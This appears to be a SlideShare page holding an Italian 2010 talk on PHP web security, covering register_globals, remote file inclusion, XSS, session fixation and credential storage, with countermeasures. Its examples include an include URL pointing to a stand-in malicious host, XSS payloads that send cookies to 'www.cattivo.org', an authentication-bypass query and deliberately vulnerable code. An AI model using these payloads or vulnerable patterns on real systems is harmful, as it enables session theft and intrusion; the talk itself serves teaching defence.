SlideShare ist ein Scribd-Unternehmen logo
1 von 20
Downloaden Sie, um offline zu lesen
Php Security
Ing. Stefano Bianchini
   16 giugno 2010
Il php e la sicurezza

●   La percentuale di software non sicuro scritto in PHP, sul totale di tutte
    le falle nei software elencate dal Common Vulnerabilities and
    Exposures, ammontava al: 12% nel 2003, 20% nel 2004, 28% nel
    2005, 43% nel 2006, 36% nel 2007 e 33,8% nel primo trimestre del
    2008.
●   Le falle più comuni sono dovute al mancato adempimento delle best
    practice nella programmazione e da vulnerabilità presenti in codice
    scritto in versioni vecchie di PHP. (fonte: Wikipedia)
La direttiva register_globals
●   Nel Php di base le variabili superglobali (per
    intenderci, quelle relative a parametri GET,
    POST, sessioni e cookies) devono essere
    richiamate mediante appostiti array ($_GET['']
    eccetera)
●   Nelle vecchie versioni, oppure settando nel
    php.ini la direttiva register_globals=on non c'è
    differenza tra $_GET['pluto'] e $pluto
●   Problemi anche con variabili non inizializzate
Register globals (2)
<?
//come si legge una variabile "particolare" adesso
echo $_POST["nomevariabile"];
//come la si leggeva prima (o con le RG settate ad ON)
echo $nomevariabile;
?>
<!-- Il form Html -->
<FORM METHOD="post" action="<?=$PHPSELF?>">
<input type="text" name="nomevariabile" />
</FORM>


<?
if ($password==$passwordgiusta) {
setcookie("autenticato","true");
}
//... ...
//Pensavo di leggere il contenuto del cookie
//Ma se un intruso chiama pagina.php?autenticato=true ...
//Purtroppo il sistema legge $autenticato come true!!!
if ($autenticato) {
//posso fare qualsiasi cosa
}
else {
//non posso fare niente
}
?>



If the deprecated register_globals directive is on, then variables_order also
configures the order the ENV, GET, POST, COOKIE and SERVER variables are
populated in global scope.
Remote file include
●   Una delle comodità del Php è quella di poter includere file
    esterni contenenti funzioni e procedure che ricorrono spesso;
    vantaggi di questa pratica sono un considerevole risparmio di
    tempo per il programmatore e un aumento di velocità
    nell’esecuzione del codice.
●   L'inclusione è molto usata nei software multilingua o strutturati a
    moduli, in cui il file principale (solitamente index.php) richiama,
    includendoli, i vari moduli del sistema.
●   Se si lascia troppa libertà di inclusione si va incontro a enormi
    falle di sicurezza
Remote file include (2)
       <?php
       //ipotizziamo ad esempio, pagina.php?lang=it
       //oppure pagina.php?lang=en
       include($_GET["lang"]."php");
       //lang = en -> include("en.php");
       //lang = it -> include("it.php");
       ?>

     GET pagina.php?lang=http://sitocattivo.com/script
     -> include(http://sitocattivo.com/script.php);

É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF”
per disabilitare la possibilità di includere script remoti (cioè non appartenenti al
webserver su cui si sta programmando).
Spoofed Form Submissions
Filtraggio dell'input
●   Diventa fondamentale in Php tenere sotto
    controllo tutti i parametri che il client passa al
    server (siano essi POST, GET, COOKIES)
●   Bisogna controllare che ogni variabile sia quello
    che ci aspettiamo
●   Inizializzare sempre tutte le variabili
●   Utilizzare strutture come switch...case o
    funzioni specifiche come is_numeric e la
    famiglia ctype_
Filtraggio dell'input (2)
●   http://www.php.net/manual/en/ref.ctype.php
Filtraggio dell'input (3)
●   Escaping con funzioni esistenti
    ●   Per l'interazione con i database (ad es. Mysql,
        funzione mysql_real_escape_string())
    ●   Per filtrare codice html (htmlentities(),
        http://php.net/manual/en/function.htmlentities.ph
        )
●   Escaping personalizzati
    ●   http://php.net/manual/en/function.str-
        replace.php
Exposed Source Code
●   Attenzione alle inclusioni di files (spesso
    librerie) con estensione .inc
●   Estensioni diverse da .php possono essere
    inviate dal server direttamente al browser
    senza essere interpretate
●   Soluzioni:
    ●   Usare sempre l'estensione php
    ●   Modificare il file di configurazione del web server
    ●   Posizionare i file .inc fuori dalla root directory del
        web server
XSS
●   Inserire codice arbitrario lato client (spesso
    Javascript)
●   Alcuni esempi:
    ●   <IMG SRC="javascript:alert('XSS');">
    ●   <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
    ●   <script>location.href='www.cattivo.org?
        d='+document.cookies</script>
PHPIDS
●   Esistono gli Intrusion Detection System che ci aiutano a
    contrastare gli attacchi alle reti ed ai server
●   E per il Php? PHPIDS è una libreria Php facilmente
    integrabile che rileva i tentativi di attacco, basata sul
    punteggio, chiamato “impatto”
●   Currently the PHPIDS detects all sorts of XSS, SQL
    Injection, header injection, directory traversal, RFE/LFI,
    DoS and LDAP attacks.


●   http://demo.php-ids.org/
Session security
Ogni sessione che inizializiamo nelle applicazioni web viene
riconosciuta tramite il session id:
Solitamente questo session id viene propagato di
comunicazione in comunicazione (browser/server) in 2 modi:
●   via URL (variabile GET con nome PHPSESSID)
●   via COOKIE (di nome PHPSESSID)
Esistono tre modalità, da parte di un attaccante, per ottenere un
session id valido:
●   Fixation (l'attaccante impone un sessid che la vittima
    utilizza)
●   Prediction (si tenta di indovinare un sessid valido)
●   Hijacking (si intercetta il sessid)
Session security (2)
●   Esempio fixation:
    setcookie(“PHPSESSID”,“id_conosciuto”,time()
    +3600,“/”, “www.example.com”)
●   Contromisure Fixation
    ●   session_regenerate_id()
●   Contromisure prediction e Hijacking
    ●   Utilizzo di “token” personalizzati
    ●   Cifratura della connessione (https)
Exposed Access Credentials
Solitamente si usa...
<?php
$host = 'example.org';
$username = 'myuser';
$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>


Soluzione 1 (Apache)
<Files ~ ".inc$">
  Order allow,deny
  Deny from all
</Files>
Esposed Access Credentials (2)
Soluzione 3
Create a file, /path/to/secret-stuff, that only root can read (not nobody):
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"


Include this file within httpd.conf as follows:
Include "/path/to/secret-stuff"
Now you can use $_SERVER['DB_USER'] and $_SERVER['DB_PASS'] in your
code. Not only do you never have to write your username and password in any
of your scripts, the web server can't read the secret-stuff file, so no other users
can write scripts to read your access credentials (regardless of language). Just
be careful not to expose these variables with something like phpinfo() or
print_r($_SERVER).
Fonti
●   http://ha.ckers.org/xss.html
●   http://en.wikipedia.org/wiki/Cross-site_scripting
●   http://phpsec.org/projects/guide/
●   http://php-ids.org/
●   http://www.php.net
<?php
sanitize($_REQUEST['domande'])
?>

Weitere ähnliche Inhalte

Ähnlich wie Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.

Enrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPEnrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPFrancesco Fullone
 
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaHackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaSimone Onofri
 
Seminario team working - 21-1-2015
Seminario team working - 21-1-2015Seminario team working - 21-1-2015
Seminario team working - 21-1-2015Alessandro Loffredo
 
Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Mauro Lorenzutti
 
Hosting: 12 consigli per difendersi dagli hacker #TipOfTheDay
Hosting: 12 consigli per difendersi dagli hacker  #TipOfTheDayHosting: 12 consigli per difendersi dagli hacker  #TipOfTheDay
Hosting: 12 consigli per difendersi dagli hacker #TipOfTheDayAruba S.p.A.
 
Dominare il codice legacy
Dominare il codice legacyDominare il codice legacy
Dominare il codice legacyTommaso Torti
 
Web Application Insecurity Uncensored
Web Application Insecurity UncensoredWeb Application Insecurity Uncensored
Web Application Insecurity Uncensoredjekil
 
Sviluppare un plugin WordPress da zero - WordCamp Bologna 2018
Sviluppare un plugin WordPress da zero - WordCamp Bologna 2018Sviluppare un plugin WordPress da zero - WordCamp Bologna 2018
Sviluppare un plugin WordPress da zero - WordCamp Bologna 2018Marco Chiesi
 
Hosting: 10 consigli per mettere al sicuro un sito - parte 2 #TipOfTheDay
Hosting: 10 consigli per mettere al sicuro un sito - parte 2 #TipOfTheDayHosting: 10 consigli per mettere al sicuro un sito - parte 2 #TipOfTheDay
Hosting: 10 consigli per mettere al sicuro un sito - parte 2 #TipOfTheDayAruba S.p.A.
 
Come sviluppo le applicazioni web
Come sviluppo le applicazioni webCome sviluppo le applicazioni web
Come sviluppo le applicazioni webAndrea Lazzarotto
 
Gianfrasoft Corso Di Php Parte 1
Gianfrasoft   Corso Di Php   Parte 1Gianfrasoft   Corso Di Php   Parte 1
Gianfrasoft Corso Di Php Parte 1Gianfranco Fedele
 
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Simone Onofri
 
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Codemotion
 

Ähnlich wie Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A. (20)

Enrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPEnrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHP
 
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaHackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
 
Seminario team working - 21-1-2015
Seminario team working - 21-1-2015Seminario team working - 21-1-2015
Seminario team working - 21-1-2015
 
Apache Parte 2
Apache Parte 2Apache Parte 2
Apache Parte 2
 
Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3
 
Hosting: 12 consigli per difendersi dagli hacker #TipOfTheDay
Hosting: 12 consigli per difendersi dagli hacker  #TipOfTheDayHosting: 12 consigli per difendersi dagli hacker  #TipOfTheDay
Hosting: 12 consigli per difendersi dagli hacker #TipOfTheDay
 
Php e mysql (primi passi)
Php e mysql (primi passi)Php e mysql (primi passi)
Php e mysql (primi passi)
 
Dominare il codice legacy
Dominare il codice legacyDominare il codice legacy
Dominare il codice legacy
 
Web Application Insecurity Uncensored
Web Application Insecurity UncensoredWeb Application Insecurity Uncensored
Web Application Insecurity Uncensored
 
Sviluppare un plugin WordPress da zero - WordCamp Bologna 2018
Sviluppare un plugin WordPress da zero - WordCamp Bologna 2018Sviluppare un plugin WordPress da zero - WordCamp Bologna 2018
Sviluppare un plugin WordPress da zero - WordCamp Bologna 2018
 
Hosting: 10 consigli per mettere al sicuro un sito - parte 2 #TipOfTheDay
Hosting: 10 consigli per mettere al sicuro un sito - parte 2 #TipOfTheDayHosting: 10 consigli per mettere al sicuro un sito - parte 2 #TipOfTheDay
Hosting: 10 consigli per mettere al sicuro un sito - parte 2 #TipOfTheDay
 
Come sviluppo le applicazioni web
Come sviluppo le applicazioni webCome sviluppo le applicazioni web
Come sviluppo le applicazioni web
 
Apache HTTP Server
Apache HTTP ServerApache HTTP Server
Apache HTTP Server
 
Devianze
DevianzeDevianze
Devianze
 
Gianfrasoft Corso Di Php Parte 1
Gianfrasoft   Corso Di Php   Parte 1Gianfrasoft   Corso Di Php   Parte 1
Gianfrasoft Corso Di Php Parte 1
 
Il testing con zend framework
Il testing con zend frameworkIl testing con zend framework
Il testing con zend framework
 
Il testing con zend framework
Il testing con zend frameworkIl testing con zend framework
Il testing con zend framework
 
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
 
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
 
Owasp parte3
Owasp parte3Owasp parte3
Owasp parte3
 

Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.

  • 1. Php Security Ing. Stefano Bianchini 16 giugno 2010
  • 2. Il php e la sicurezza ● La percentuale di software non sicuro scritto in PHP, sul totale di tutte le falle nei software elencate dal Common Vulnerabilities and Exposures, ammontava al: 12% nel 2003, 20% nel 2004, 28% nel 2005, 43% nel 2006, 36% nel 2007 e 33,8% nel primo trimestre del 2008. ● Le falle più comuni sono dovute al mancato adempimento delle best practice nella programmazione e da vulnerabilità presenti in codice scritto in versioni vecchie di PHP. (fonte: Wikipedia)
  • 3. La direttiva register_globals ● Nel Php di base le variabili superglobali (per intenderci, quelle relative a parametri GET, POST, sessioni e cookies) devono essere richiamate mediante appostiti array ($_GET[''] eccetera) ● Nelle vecchie versioni, oppure settando nel php.ini la direttiva register_globals=on non c'è differenza tra $_GET['pluto'] e $pluto ● Problemi anche con variabili non inizializzate
  • 4. Register globals (2) <? //come si legge una variabile "particolare" adesso echo $_POST["nomevariabile"]; //come la si leggeva prima (o con le RG settate ad ON) echo $nomevariabile; ?> <!-- Il form Html --> <FORM METHOD="post" action="<?=$PHPSELF?>"> <input type="text" name="nomevariabile" /> </FORM> <? if ($password==$passwordgiusta) { setcookie("autenticato","true"); } //... ... //Pensavo di leggere il contenuto del cookie //Ma se un intruso chiama pagina.php?autenticato=true ... //Purtroppo il sistema legge $autenticato come true!!! if ($autenticato) { //posso fare qualsiasi cosa } else { //non posso fare niente } ?> If the deprecated register_globals directive is on, then variables_order also configures the order the ENV, GET, POST, COOKIE and SERVER variables are populated in global scope.
  • 5. Remote file include ● Una delle comodità del Php è quella di poter includere file esterni contenenti funzioni e procedure che ricorrono spesso; vantaggi di questa pratica sono un considerevole risparmio di tempo per il programmatore e un aumento di velocità nell’esecuzione del codice. ● L'inclusione è molto usata nei software multilingua o strutturati a moduli, in cui il file principale (solitamente index.php) richiama, includendoli, i vari moduli del sistema. ● Se si lascia troppa libertà di inclusione si va incontro a enormi falle di sicurezza
  • 6. Remote file include (2) <?php //ipotizziamo ad esempio, pagina.php?lang=it //oppure pagina.php?lang=en include($_GET["lang"]."php"); //lang = en -> include("en.php"); //lang = it -> include("it.php"); ?> GET pagina.php?lang=http://sitocattivo.com/script -> include(http://sitocattivo.com/script.php); É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF” per disabilitare la possibilità di includere script remoti (cioè non appartenenti al webserver su cui si sta programmando).
  • 8. Filtraggio dell'input ● Diventa fondamentale in Php tenere sotto controllo tutti i parametri che il client passa al server (siano essi POST, GET, COOKIES) ● Bisogna controllare che ogni variabile sia quello che ci aspettiamo ● Inizializzare sempre tutte le variabili ● Utilizzare strutture come switch...case o funzioni specifiche come is_numeric e la famiglia ctype_
  • 9. Filtraggio dell'input (2) ● http://www.php.net/manual/en/ref.ctype.php
  • 10. Filtraggio dell'input (3) ● Escaping con funzioni esistenti ● Per l'interazione con i database (ad es. Mysql, funzione mysql_real_escape_string()) ● Per filtrare codice html (htmlentities(), http://php.net/manual/en/function.htmlentities.ph ) ● Escaping personalizzati ● http://php.net/manual/en/function.str- replace.php
  • 11. Exposed Source Code ● Attenzione alle inclusioni di files (spesso librerie) con estensione .inc ● Estensioni diverse da .php possono essere inviate dal server direttamente al browser senza essere interpretate ● Soluzioni: ● Usare sempre l'estensione php ● Modificare il file di configurazione del web server ● Posizionare i file .inc fuori dalla root directory del web server
  • 12. XSS ● Inserire codice arbitrario lato client (spesso Javascript) ● Alcuni esempi: ● <IMG SRC="javascript:alert('XSS');"> ● <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> ● <script>location.href='www.cattivo.org? d='+document.cookies</script>
  • 13. PHPIDS ● Esistono gli Intrusion Detection System che ci aiutano a contrastare gli attacchi alle reti ed ai server ● E per il Php? PHPIDS è una libreria Php facilmente integrabile che rileva i tentativi di attacco, basata sul punteggio, chiamato “impatto” ● Currently the PHPIDS detects all sorts of XSS, SQL Injection, header injection, directory traversal, RFE/LFI, DoS and LDAP attacks. ● http://demo.php-ids.org/
  • 14.
  • 15. Session security Ogni sessione che inizializiamo nelle applicazioni web viene riconosciuta tramite il session id: Solitamente questo session id viene propagato di comunicazione in comunicazione (browser/server) in 2 modi: ● via URL (variabile GET con nome PHPSESSID) ● via COOKIE (di nome PHPSESSID) Esistono tre modalità, da parte di un attaccante, per ottenere un session id valido: ● Fixation (l'attaccante impone un sessid che la vittima utilizza) ● Prediction (si tenta di indovinare un sessid valido) ● Hijacking (si intercetta il sessid)
  • 16. Session security (2) ● Esempio fixation: setcookie(“PHPSESSID”,“id_conosciuto”,time() +3600,“/”, “www.example.com”) ● Contromisure Fixation ● session_regenerate_id() ● Contromisure prediction e Hijacking ● Utilizzo di “token” personalizzati ● Cifratura della connessione (https)
  • 17. Exposed Access Credentials Solitamente si usa... <?php $host = 'example.org'; $username = 'myuser'; $password = 'mypass'; $db = mysql_connect($host, $username, $password); ?> Soluzione 1 (Apache) <Files ~ ".inc$"> Order allow,deny Deny from all </Files>
  • 18. Esposed Access Credentials (2) Soluzione 3 Create a file, /path/to/secret-stuff, that only root can read (not nobody): SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass" Include this file within httpd.conf as follows: Include "/path/to/secret-stuff" Now you can use $_SERVER['DB_USER'] and $_SERVER['DB_PASS'] in your code. Not only do you never have to write your username and password in any of your scripts, the web server can't read the secret-stuff file, so no other users can write scripts to read your access credentials (regardless of language). Just be careful not to expose these variables with something like phpinfo() or print_r($_SERVER).
  • 19. Fonti ● http://ha.ckers.org/xss.html ● http://en.wikipedia.org/wiki/Cross-site_scripting ● http://phpsec.org/projects/guide/ ● http://php-ids.org/ ● http://www.php.net